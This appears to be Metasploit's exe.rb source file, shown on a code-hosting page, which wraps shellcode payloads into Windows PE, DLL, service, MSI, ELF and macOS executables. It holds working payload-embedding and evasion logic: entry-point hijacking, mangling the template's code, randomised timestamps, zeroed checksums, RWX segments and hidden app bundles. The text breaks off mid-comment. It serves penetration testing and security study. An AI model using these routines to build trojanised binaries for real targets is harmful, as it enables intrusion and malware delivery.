Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/util/exe.rb
Views: 11779
# -*- coding: binary -*-12module Msf3module Util4#5# The class provides methods for creating and encoding executable file6# formats for various platforms. It is a replacement for the previous7# code in Rex::Text8#910class EXE1112require 'rex'13require 'rex/peparsey'14require 'rex/pescan'15require 'rex/random_identifier'16require 'rex/zip'17require 'rex/powershell'18require 'metasm'19require 'digest/sha1'20# Generates a default template21#22# @param opts [Hash] The options hash23# @option opts [String] :template, the template type for the executable24# @option opts [String] :template_path, the path for the template25# @option opts [Bool] :fallback, If there are no options set, default options will be used26# @param exe [String] Template type. If undefined, will use the default.27# @param path [String] Where you would like the template to be saved.28def self.set_template_default(opts, exe = nil, path = nil)29# If no path specified, use the default one30path ||= File.join(Msf::Config.data_directory, "templates")3132# If there's no default name, we must blow it up.33unless exe34raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +35'without default exe name!'36end3738# Use defaults only if nothing is specified39opts[:template_path] ||= path40opts[:template] ||= exe4142# Only use the path when the filename contains no separators.43unless opts[:template].include?(File::SEPARATOR)44opts[:template] = File.join(opts[:template_path], opts[:template])45end4647# Check if it exists now48return if File.file?(opts[:template])49# If it failed, try the default...50if opts[:fallback]51default_template = File.join(path, exe)52if File.file?(default_template)53# Perhaps we should warn about falling back to the default?54opts.merge!({ :fellback => default_template })55opts[:template] = default_template56end57end58end5960# self.read_replace_script_template61#62# @param filename [String] Name of the file63# @param hash_sub [Hash]64def self.read_replace_script_template(filename, hash_sub)65template_pathname = File.join(Msf::Config.data_directory, "templates",66"scripts", filename)67template = ''68File.open(template_pathname, "rb") {|f| template = f.read}69template % hash_sub70end717273# Generates a ZIP file.74#75# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:76# * :data - The content of the file.77# * :fname - The file path in the ZIP file78# * :comment - A comment79# @example Compressing two files, one in a folder called 'test'80# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])81# @return [String]82def self.to_zip(files)83zip = Rex::Zip::Archive.new8485files.each do |f|86data = f[:data]87fname = f[:fname]88comment = f[:comment] || ''89zip.add_file(fname, data, comment)90end9192zip.pack93end9495# Executable generators96#97# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)98# @param plat [String] The platform (i.e Linux, Windows, OSX)99# @param code [String]100# @param opts [Hash] The options hash101# @param framework [Msf::Framework] The framework of you want to use102# @return [String]103# @return [NilClass]104def self.to_executable(framework, arch, plat, code = '', opts = {})105if elf? code or macho? code106return code107end108109if arch.index(ARCH_X86)110111if plat.index(Msf::Module::Platform::Windows)112return to_win32pe(framework, code, opts)113end114115if plat.index(Msf::Module::Platform::Linux)116return to_linux_x86_elf(framework, code)117end118119if plat.index(Msf::Module::Platform::OSX)120return to_osx_x86_macho(framework, code)121end122123if plat.index(Msf::Module::Platform::BSD)124return to_bsd_x86_elf(framework, code)125end126127if plat.index(Msf::Module::Platform::Solaris)128return to_solaris_x86_elf(framework, code)129end130131# XXX: Add remaining x86 systems here132end133134if arch.index(ARCH_X64)135if (plat.index(Msf::Module::Platform::Windows))136return to_win64pe(framework, code, opts)137end138139if plat.index(Msf::Module::Platform::Linux)140return to_linux_x64_elf(framework, code, opts)141end142143if plat.index(Msf::Module::Platform::OSX)144return to_osx_x64_macho(framework, code)145end146147if plat.index(Msf::Module::Platform::BSD)148return to_bsd_x64_elf(framework, code)149end150end151152if arch.index(ARCH_ARMLE)153if plat.index(Msf::Module::Platform::OSX)154return to_osx_arm_macho(framework, code)155end156157if plat.index(Msf::Module::Platform::Linux)158return to_linux_armle_elf(framework, code)159end160161# XXX: Add remaining ARMLE systems here162end163164if arch.index(ARCH_AARCH64)165if plat.index(Msf::Module::Platform::Linux)166return to_linux_aarch64_elf(framework, code)167end168169if plat.index(Msf::Module::Platform::OSX)170return to_osx_aarch64_macho(framework, code)171end172173# XXX: Add remaining AARCH64 systems here174end175176if arch.index(ARCH_PPC)177if plat.index(Msf::Module::Platform::OSX)178return to_osx_ppc_macho(framework, code)179end180# XXX: Add PPC OS X and Linux here181end182183if arch.index(ARCH_MIPSLE)184if plat.index(Msf::Module::Platform::Linux)185return to_linux_mipsle_elf(framework, code)186end187# XXX: Add remaining MIPSLE systems here188end189190if arch.index(ARCH_MIPSBE)191if plat.index(Msf::Module::Platform::Linux)192return to_linux_mipsbe_elf(framework, code)193end194# XXX: Add remaining MIPSLE systems here195end196197if arch.index(ARCH_RISCV32LE)198if plat.index(Msf::Module::Platform::Linux)199return to_linux_riscv32le_elf(framework, code)200end201# TODO: Add remaining RISCV32LE systems here202end203204if arch.index(ARCH_RISCV64LE)205if plat.index(Msf::Module::Platform::Linux)206return to_linux_riscv64le_elf(framework, code)207end208# TODO: Add remaining RISCV64LE systems here209end210211nil212end213214# Clears the DYNAMIC_BASE flag for a Windows executable215#216# @param exe [String] The raw executable to be modified by the method217# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file218# @return [String] the modified executable219def self.clear_dynamic_base(exe, pe)220c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse221c_bits[6] = 0 # DYNAMIC_BASE222new_dllcharacteristics = c_bits.reverse.join.to_i(2)223224# PE Header Pointer offset = 60d225# SizeOfOptionalHeader offset = 94h226dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94227exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")228exe229end230231# self.to_win32pe232#233# @param framework [Msf::Framework]234# @param code [String]235# @param opts [Hash]236# @option opts [String] :sub_method237# @option opts [String] :inject, Code to inject into the exe238# @option opts [String] :template239# @option opts [Symbol] :arch, Set to :x86 by default240# @return [String]241def self.to_win32pe(framework, code, opts = {})242243# For backward compatibility, this is roughly equivalent to 'exe-small' fmt244if opts[:sub_method]245if opts[:inject]246raise RuntimeError, 'NOTE: using the substitution method means no inject support'247end248249# use250self.to_win32pe_exe_sub(framework, code, opts)251end252253# Allow the user to specify their own EXE template254set_template_default(opts, "template_x86_windows.exe")255256# Copy the code to a new RWX segment to allow for self-modifying encoders257payload = win32_rwx_exec(code)258259# Create a new PE object and run through sanity checks260pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)261262#try to inject code into executable by adding a section without affecting executable behavior263if opts[:inject]264injector = Msf::Exe::SegmentInjector.new({265:payload => code,266:template => opts[:template],267:arch => :x86,268:secname => opts[:secname]269})270return injector.generate_pe271end272273text = nil274pe.sections.each {|sec| text = sec if sec.name == ".text"}275276raise RuntimeError, "No .text section found in the template" unless text277278unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)279raise RuntimeError, "The .text section does not contain an entry point"280end281282p_length = payload.length + 256283284# If the .text section is too small, append a new section instead285if text.size < p_length286appender = Msf::Exe::SegmentAppender.new({287:payload => code,288:template => opts[:template],289:arch => :x86,290:secname => opts[:secname]291})292return appender.generate_pe293end294295# Store some useful offsets296off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)297off_beg = pe.rva_to_file_offset(text.base_rva)298299# We need to make sure our injected code doesn't conflict with the300# the data directories stored in .text (import, export, etc)301mines = []302pe.hdr.opt['DataDirectory'].each do |dir|303next if dir.v['Size'] == 0304next unless text.contains_rva?(dir.v['VirtualAddress'])305delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg306mines << [delta, dir.v['Size']]307end308309# Break the text segment into contiguous blocks310blocks = []311bidx = 0312mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|313bbeg = bidx314bend = mine[0]315blocks << [bidx, bend-bidx] if bbeg != bend316bidx = mine[0] + mine[1]317end318319# Add the ending block320blocks << [bidx, text.size - bidx] if bidx < text.size - 1321322# Find the largest contiguous block323blocks.sort!{|a,b| b[1]<=>a[1]}324block = blocks.first325326# TODO: Allow the entry point in a different block327if payload.length + 256 >= block[1]328raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"329end330331# Make a copy of the entire .text section332data = text.read(0,text.size)333334# Pick a random offset to store the payload335poff = rand(block[1] - payload.length - 256)336337# Flip a coin to determine if EP is before or after338eloc = rand(2)339eidx = nil340341# Pad the entry point with random nops342entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)343344# Pick an offset to store the new entry point345if eloc == 0 # place the entry point before the payload346poff += 256347eidx = rand(poff-(entry.length + 5))348else # place the entry pointer after the payload349poff -= [256, poff].min350eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length351end352353# Relative jump from the end of the nops to the payload354entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')355356# Mangle 25% of the original executable3571.upto(block[1] / 4) do358data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")359end360361# Patch the payload and the new entry point into the .text362data[block[0] + poff, payload.length] = payload363data[block[0] + eidx, entry.length] = entry364365# Create the modified version of the input executable366exe = ''367File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}368369a = [text.base_rva + block.first + eidx].pack("V")370exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a371exe[off_beg, data.length] = data372373tds = pe.hdr.file.TimeDateStamp374exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")375376cks = pe.hdr.opt.CheckSum377unless cks == 0378exe[exe.index([cks].pack('V')), 4] = [0].pack("V")379end380381exe = clear_dynamic_base(exe, pe)382pe.close383384exe385end386387# self.to_winpe_only388#389# @param framework [Msf::Framework] The framework of you want to use390# @param code [String]391# @param opts [Hash]392# @param arch [String] Default is "x86"393def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)394395# Allow the user to specify their own EXE template396set_template_default(opts, "template_#{arch}_windows.exe")397398pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)399400exe = ''401File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}402403pe_header_size = 0x18404entryPoint_offset = 0x28405section_size = 0x28406characteristics_offset = 0x24407virtualAddress_offset = 0x0c408sizeOfRawData_offset = 0x10409410sections_table_offset =411pe._dos_header.v['e_lfanew'] +412pe._file_header.v['SizeOfOptionalHeader'] +413pe_header_size414415sections_table_characteristics_offset = sections_table_offset + characteristics_offset416417sections_header = []418pe._file_header.v['NumberOfSections'].times do |i|419section_offset = sections_table_offset + (i * section_size)420sections_header << [421sections_table_characteristics_offset + (i * section_size),422exe[section_offset,section_size]423]424end425426addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint427428# look for section with entry point429sections_header.each do |sec|430virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]431sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]432characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]433434if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)435importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]436if (importsTable - addressOfEntryPoint) < code.length437#shift original entry point to prevent tables overwriting438addressOfEntryPoint = importsTable - code.length + 4439440entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset441exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')442end443# put this section writable444characteristics |= 0x8000_0000445newcharacteristics = [characteristics].pack('V')446exe[sec[0],newcharacteristics.length] = newcharacteristics447end448end449450# put the shellcode at the entry point, overwriting template451entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)452exe[entryPoint_file_offset,code.length] = code453exe = clear_dynamic_base(exe, pe)454exe455end456457# self.to_win32pe_old458#459# @param framework [Msf::Framework] The framework of you want to use460# @param code [String]461# @param opts [Hash]462def self.to_win32pe_old(framework, code, opts = {})463464payload = code.dup465# Allow the user to specify their own EXE template466set_template_default(opts, "template_x86_windows_old.exe")467468pe = ''469File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}470471if payload.length <= 2048472payload << Rex::Text.rand_text(2048-payload.length)473else474raise RuntimeError, "The EXE generator now has a max size of 2048 " +475"bytes, please fix the calling module"476end477478bo = pe.index('PAYLOAD:')479unless bo480raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"481end482pe[bo, payload.length] = payload483484pe[136, 4] = [rand(0x100000000)].pack('V')485486ci = pe.index("\x31\xc9" * 160)487unless ci488raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""489end490cd = pe.index("\x31\xc9" * 160, ci + 320)491unless cd492raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""493end494rc = pe[ci+320, cd-ci-320]495496# 640 + rc.length bytes of room to store an encoded rc at offset ci497enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)498lft = 640+rc.length - enc.length499500buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)501pe[ci, buf.length] = buf502503# Make the data section executable504xi = pe.index([0xc0300040].pack('V'))505pe[xi,4] = [0xe0300020].pack('V')506507# Add a couple random bytes for fun508pe << Rex::Text.rand_text(rand(64)+4)509pe510end511512513# Splits a string into a number of assembly push operations514#515# @param string [String] String to be used516# @return [String] null terminated string as assembly push ops517def self.string_to_pushes(string)518str = string.dup519# Align string to 4 bytes520rem = (str.length) % 4521if rem > 0522str << "\x00" * (4 - rem)523pushes = ''524else525pushes = "h\x00\x00\x00\x00"526end527# string is now 4 bytes aligned with null byte528529# push string to stack, starting at the back530while str.length > 0531four = 'h'+str.slice!(-4,4)532pushes << four533end534535pushes536end537538# self.exe_sub_method539#540# @param code [String]541# @param opts [Hash]542# @option opts [Symbol] :exe_type543# @option opts [String] :service_exe544# @option opts [Boolean] :sub_method545# @return [String]546def self.exe_sub_method(code,opts ={})547pe = self.get_file_contents(opts[:template])548549case opts[:exe_type]550when :service_exe551opts[:exe_max_sub_length] ||= 8192552name = opts[:servicename]553if name554bo = pe.index('SERVICENAME')555unless bo556raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"557end558pe[bo, 11] = [name].pack('a11')559end560pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]561when :dll562opts[:exe_max_sub_length] ||= 4096563when :exe_sub564opts[:exe_max_sub_length] ||= 4096565end566567bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")568569if code.length <= opts.fetch(:exe_max_sub_length)570pe[bo, code.length] = [code].pack("a*")571else572raise RuntimeError, "The EXE generator now has a max size of " +573"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"574end575576if opts[:exe_type] == :dll577mt = pe.index('MUTEX!!!')578pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt579%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|580offset = pe.index(name)581pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset582end583584if opts[:dll_exitprocess]585exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"586exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"587et_index = pe.index(exit_thread)588if et_index589pe[et_index,exit_process.length] = exit_process590else591raise RuntimeError, "Unable to find and replace ExitThread in the DLL."592end593end594end595596pe597end598599# self.to_win32pe_exe_sub600#601# @param framework [Msf::Framework] The framework of you want to use602# @param code [String]603# @param opts [Hash]604# @return [String]605def self.to_win32pe_exe_sub(framework, code, opts = {})606# Allow the user to specify their own DLL template607set_template_default(opts, "template_x86_windows.exe")608opts[:exe_type] = :exe_sub609exe_sub_method(code,opts)610end611612# self.to_win64pe613#614# @param framework [Msf::Framework] The framework of you want to use615# @param code [String]616# @param opts [Hash]617# @return [String]618def self.to_win64pe(framework, code, opts = {})619# Allow the user to specify their own EXE template620set_template_default(opts, "template_x64_windows.exe")621622# Try to inject code into executable by adding a section without affecting executable behavior623if opts[:inject]624injector = Msf::Exe::SegmentInjector.new({625:payload => code,626:template => opts[:template],627:arch => :x64,628:secname => opts[:secname]629})630return injector.generate_pe631end632633# Append a new section instead634appender = Msf::Exe::SegmentAppender.new({635:payload => code,636:template => opts[:template],637:arch => :x64,638:secname => opts[:secname]639})640return appender.generate_pe641end642643# Embeds shellcode within a Windows PE file implementing the Windows644# service control methods.645#646# @param framework [Object]647# @param code [String] shellcode to be embedded648# @option opts [Boolean] :sub_method use substitution technique with a649# service template PE650# @option opts [String] :servicename name of the service, not used in651# substitution technique652#653# @return [String] Windows Service PE file654def self.to_win32pe_service(framework, code, opts = {})655set_template_default(opts, "template_x86_windows_svc.exe")656if opts[:sub_method]657# Allow the user to specify their own service EXE template658opts[:exe_type] = :service_exe659return exe_sub_method(code,opts)660else661ENV['MSF_SERVICENAME'] = opts[:servicename]662663opts[:framework] = framework664opts[:payload] = 'stdin'665opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')666667# XXX This should not be required, it appears there is a dependency inversion668# See https://github.com/rapid7/metasploit-framework/pull/9851669venom_generator = Msf::PayloadGenerator.new(opts)670code_service = venom_generator.multiple_encode_payload(code)671return to_winpe_only(framework, code_service, opts)672end673end674675# self.to_win64pe_service676#677# @param framework [Msf::Framework] The framework of you want to use678# @param code [String]679# @param opts [Hash]680# @option [String] :exe_type681# @option [String] :service_exe682# @option [String] :dll683# @option [String] :inject684# @return [String]685def self.to_win64pe_service(framework, code, opts = {})686# Allow the user to specify their own service EXE template687set_template_default(opts, "template_x64_windows_svc.exe")688opts[:exe_type] = :service_exe689exe_sub_method(code,opts)690end691692# self.set_template_default_winpe_dll693#694# Set the default winpe DLL template. It will select the template based on the parameters provided including the size695# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.696#697# @param opts [Hash]698# @param arch The architecture, as one the predefined constants.699# @param size [Integer] The size of the payload.700# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'701private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)702return if opts[:template].present?703704# dynamic size upgrading is only available when MSF selects the template because there's currently no way to705# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB706match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }707if match708opts[:exe_max_sub_length] = match.first709size_suffix = match.last710end711712arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)713raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?714715if flavor.present?716unless %w[mixed_mode dccw_gdiplus].include?(flavor)717raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'718end719720flavor = '_' + flavor721end722723set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")724end725726# self.to_win32pe_dll727#728# @param framework [Msf::Framework] The framework of you want to use729# @param code [String]730# @param opts [Hash]731# @option [String] :exe_type732# @option [String] :dll733# @option [String] :inject734# @return [String]735def self.to_win32pe_dll(framework, code, opts = {})736flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil737set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)738opts[:exe_type] = :dll739740if opts[:inject]741self.to_win32pe(framework, code, opts)742else743exe_sub_method(code,opts)744end745end746747# self.to_win64pe_dll748#749# @param framework [Msf::Framework] The framework of you want to use750# @param code [String]751# @param opts [Hash]752# @option [String] :exe_type753# @option [String] :dll754# @option [String] :inject755# @return [String]756def self.to_win64pe_dll(framework, code, opts = {})757flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil758set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)759760opts[:exe_type] = :dll761762if opts[:inject]763raise RuntimeError, 'Template injection unsupported for x64 DLLs'764else765exe_sub_method(code,opts)766end767end768769770# self.to_win32pe_dccw_gdiplus_dll771#772# @param framework [Msf::Framework] The framework of you want to use773# @param code [String]774# @param opts [Hash]775# @option [String] :exe_type776# @option [String] :dll777# @option [String] :inject778# @return [String]779def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})780set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')781to_win32pe_dll(framework, code, opts)782end783784# self.to_win64pe_dccw_gdiplus_dll785#786# @param framework [Msf::Framework] The framework of you want to use787# @param code [String]788# @param opts [Hash]789# @option [String] :exe_type790# @option [String] :dll791# @option [String] :inject792# @return [String]793def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})794set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')795to_win64pe_dll(framework, code, opts)796end797798# Wraps an executable inside a Windows .msi file for auto execution when run799#800# @param framework [Msf::Framework] The framework of you want to use801# @param exe [String]802# @param opts [Hash]803# @option opts [String] :msi_template_path804# @option opts [String] :msi_template805# @return [String]806def self.to_exe_msi(framework, exe, opts = {})807if opts[:uac]808opts[:msi_template] ||= "template_windows.msi"809else810opts[:msi_template] ||= "template_nouac_windows.msi"811end812replace_msi_buffer(exe, opts)813end814815#self.replace_msi_buffer816#817# @param pe [String]818# @param opts [String]819# @option [String] :msi_template820# @option [String] :msi_template_path821# @return [String]822def self.replace_msi_buffer(pe, opts)823opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")824825if opts[:msi_template].include?(File::SEPARATOR)826template = opts[:msi_template]827else828template = File.join(opts[:msi_template_path], opts[:msi_template])829end830831msi = self.get_file_contents(template)832833section_size = 2**(msi[30..31].unpack('v')[0])834835# This table is one of the few cases where signed values are needed836sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')837838buffer_chain = []839840# This is closely coupled with the template provided and ideally841# would be calculated from the dir stream?842current_secid = 5843844until current_secid == -2845buffer_chain << current_secid846current_secid = sector_allocation_table[current_secid]847end848849buffer_size = buffer_chain.length * section_size850851if pe.size > buffer_size852raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"853end854855pe_block_start = 0856pe_block_end = pe_block_start + section_size - 1857858buffer_chain.each do |section|859block_start = section_size * (section + 1)860block_end = block_start + section_size - 1861pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")862msi[block_start..block_end] = pe_block863pe_block_start = pe_block_end + 1864pe_block_end += section_size865end866867msi868end869870# self.to_osx_arm_macho871#872# @param framework [Msf::Framework] The framework of you want to use873# @param code [String]874# @param opts [Hash]875# @option [String] :template876# @return [String]877def self.to_osx_arm_macho(framework, code, opts = {})878879# Allow the user to specify their own template880set_template_default(opts, "template_armle_darwin.bin")881882mo = self.get_file_contents(opts[:template])883bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")884mo[bo, code.length] = code885mo886end887888# self.to_osx_aarch64_macho889#890# @param framework [Msf::Framework] The framework of you want to use891# @param code [String]892# @param opts [Hash]893# @option [String] :template894# @return [String]895def self.to_osx_aarch64_macho(framework, code, opts = {})896897# Allow the user to specify their own template898set_template_default(opts, "template_aarch64_darwin.bin")899900mo = self.get_file_contents(opts[:template])901bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")902mo[bo, code.length] = code903Payload::MachO.new(mo).sign904mo905end906907# self.to_osx_ppc_macho908#909# @param framework [Msf::Framework] The framework of you want to use910# @param code [String]911# @param opts [Hash]912# @option [String] :template913# @return [String]914def self.to_osx_ppc_macho(framework, code, opts = {})915916# Allow the user to specify their own template917set_template_default(opts, "template_ppc_darwin.bin")918919mo = self.get_file_contents(opts[:template])920bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")921mo[bo, code.length] = code922mo923end924925# self.to_osx_x86_macho926#927# @param framework [Msf::Framework] The framework of you want to use928# @param code [String]929# @param opts [Hash]930# @option [String] :template931# @return [String]932def self.to_osx_x86_macho(framework, code, opts = {})933934# Allow the user to specify their own template935set_template_default(opts, "template_x86_darwin.bin")936937mo = self.get_file_contents(opts[:template])938bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")939mo[bo, code.length] = code940mo941end942943# self.to_osx_x64_macho944#945# @param framework [Msf::Framework] The framework of you want to use946# @param code [String]947# @param opts [Hash]948# @option [String] :template949# @return [String]950def self.to_osx_x64_macho(framework, code, opts = {})951set_template_default(opts, "template_x64_darwin.bin")952953macho = self.get_file_contents(opts[:template])954bin = self.find_payload_tag(macho,955"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")956macho[bin, code.length] = code957macho958end959960# self.to_osx_app961# @param opts [Hash] The options hash962# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)963# @option opts [Hash] :app_name (random) the name of the OSX app964# @option opts [Hash] :hidden (true) hide the app when it is running965# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file966# @return [String] zip archive containing an OSX .app directory967def self.to_osx_app(exe, opts = {})968exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }969app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }970hidden = opts.fetch(:hidden, true)971plist_extra = opts.fetch(:plist_extra, '')972973app_name.chomp!(".app")974app_name += ".app"975976visible_plist = if hidden977%Q|978<key>LSBackgroundOnly</key>979<string>1</string>980|981else982''983end984985info_plist = %Q|986<?xml version="1.0" encoding="UTF-8"?>987<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">988<plist version="1.0">989<dict>990<key>CFBundleExecutable</key>991<string>#{exe_name}</string>992<key>CFBundleIdentifier</key>993<string>com.#{exe_name}.app</string>994<key>CFBundleName</key>995<string>#{exe_name}</string>#{visible_plist}996<key>CFBundlePackageType</key>997<string>APPL</string>998#{plist_extra}999</dict>1000</plist>1001|10021003zip = Rex::Zip::Archive.new1004zip.add_file("#{app_name}/", '')1005zip.add_file("#{app_name}/Contents/", '')1006zip.add_file("#{app_name}/Contents/Resources/", '')1007zip.add_file("#{app_name}/Contents/MacOS/", '')1008# Add the macho and mark it as executable1009zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o7771010zip.add_file("#{app_name}/Contents/Info.plist", info_plist)1011zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')1012zip.pack1013end10141015# Create an ELF executable containing the payload provided in +code+1016#1017# For the default template, this method just appends the payload, checks if1018# the template is 32 or 64 bit and adjusts the offsets accordingly1019# For user-provided templates, modifies the header to mark all executable1020# segments as writable and overwrites the entrypoint (usually _start) with1021# the payload.1022# @param framework [Msf::Framework] The framework of you want to use1023# @param opts [Hash]1024# @option [String] :template1025# @param template [String]1026# @param code [String]1027# @param big_endian [Boolean] Set to "false" by default1028# @return [String]1029def self.to_exe_elf(framework, opts, template, code, big_endian=false)1030if elf? code1031return code1032end10331034# Allow the user to specify their own template1035set_template_default(opts, template)10361037# The old way to do it is like other formats, just overwrite a big1038# block of rwx mem with our shellcode.1039#bo = elf.index( "\x90\x90\x90\x90" * 1024 )1040#co = elf.index( " " * 512 )1041#elf[bo, 2048] = [code].pack('a2048') if bo10421043# The new template is just an ELF header with its entry point set to1044# the end of the file, so just append shellcode to it and fixup1045# p_filesz and p_memsz in the header for a working ELF executable.1046elf = self.get_file_contents(opts[:template])1047elf << code10481049# Check EI_CLASS to determine if the header is 32 or 64 bit1050# Use the proper offsets and pack size1051case elf[4,1].unpack("C").first1052when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)1053if big_endian1054elf[0x44,4] = [elf.length].pack('N') #p_filesz1055elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz1056else # little endian1057elf[0x44,4] = [elf.length].pack('V') #p_filesz1058elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz1059end1060when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)1061if big_endian1062elf[0x60,8] = [elf.length].pack('Q>') #p_filesz1063elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz1064else # little endian1065elf[0x60,8] = [elf.length].pack('Q<') #p_filesz1066elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz1067end1068else1069raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"1070end10711072elf1073end10741075# Create a 32-bit Linux ELF containing the payload provided in +code+1076#1077# @param framework [Msf::Framework] The framework of you want to use1078# @param code [String]1079# @param opts [Hash]1080# @option [String] :template1081# @return [String] Returns an elf1082def self.to_linux_x86_elf(framework, code, opts = {})1083default = true unless opts[:template]10841085if default1086elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)1087else1088# Use set_template_default to normalize the :template key. It will just end up doing1089# opts[:template] = File.join(opts[:template_path], opts[:template])1090# for us, check if the file exists.1091set_template_default(opts, 'template_x86_linux.bin')10921093# If this isn't our normal template, we have to do some fancy1094# header patching to mark the .text section rwx before putting our1095# payload into the entry point.10961097# read in the template and parse it1098e = Metasm::ELF.decode_file(opts[:template])10991100# This will become a modified copy of the template's original phdr1101new_phdr = Metasm::EncodedData.new1102e.segments.each { |s|1103# Be lazy and mark any executable segment as writable. Doing1104# it this way means we don't have to care about which one1105# contains .text1106s.flags += [ "W" ] if s.flags.include? "X"1107new_phdr << s.encode(e)1108}11091110# Copy the original file1111elf = self.get_file_contents(opts[:template], "rb")11121113# Replace the header with our rwx modified version1114elf[e.header.phoff, new_phdr.data.length] = new_phdr.data11151116# Replace code at the entrypoint with our payload1117entry_off = e.addr_to_off(e.label_addr('entrypoint'))1118elf[entry_off, code.length] = code1119end11201121elf1122end11231124# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in 